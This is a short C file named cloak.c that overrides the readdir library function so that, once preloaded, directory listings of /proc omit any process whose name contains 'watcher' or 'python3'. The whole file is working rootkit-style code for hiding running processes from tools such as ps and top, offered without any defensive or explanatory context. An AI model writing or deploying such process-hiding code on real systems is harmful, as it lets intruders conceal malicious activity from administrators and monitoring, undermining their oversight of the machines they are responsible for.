/ cloak.c
cloak.c
 1  #define _GNU_SOURCE
 2  #include <stdio.h>
 3  #include <dirent.h>
 4  #include <dlfcn.h>
 5  #include <string.h>
 6  #include <unistd.h>
 7  #include <stdlib.h>
 8  #include <sys/syscall.h>
 9  
10  typedef struct dirent* (*orig_readdir_t)(DIR*);
11  
12  struct dirent* readdir(DIR* dirp) {
13      orig_readdir_t orig_readdir = (orig_readdir_t)dlsym(RTLD_NEXT, "readdir");
14      struct dirent* entry;
15  
16      while ((entry = orig_readdir(dirp)) != NULL) {
17          if (entry->d_type == DT_DIR) {
18              char path[256], comm[256];
19              snprintf(path, sizeof(path), "/proc/%s/comm", entry->d_name);
20              FILE* f = fopen(path, "r");
21              if (f) {
22                  if (fgets(comm, sizeof(comm), f)) {
23                      if (strstr(comm, "watcher") || strstr(comm, "python3")) {
24                          fclose(f);
25                          continue; 
26                      }
27                  }
28                  fclose(f);
29              }
30          }
31          return entry;
32      }
33      return NULL;
34  }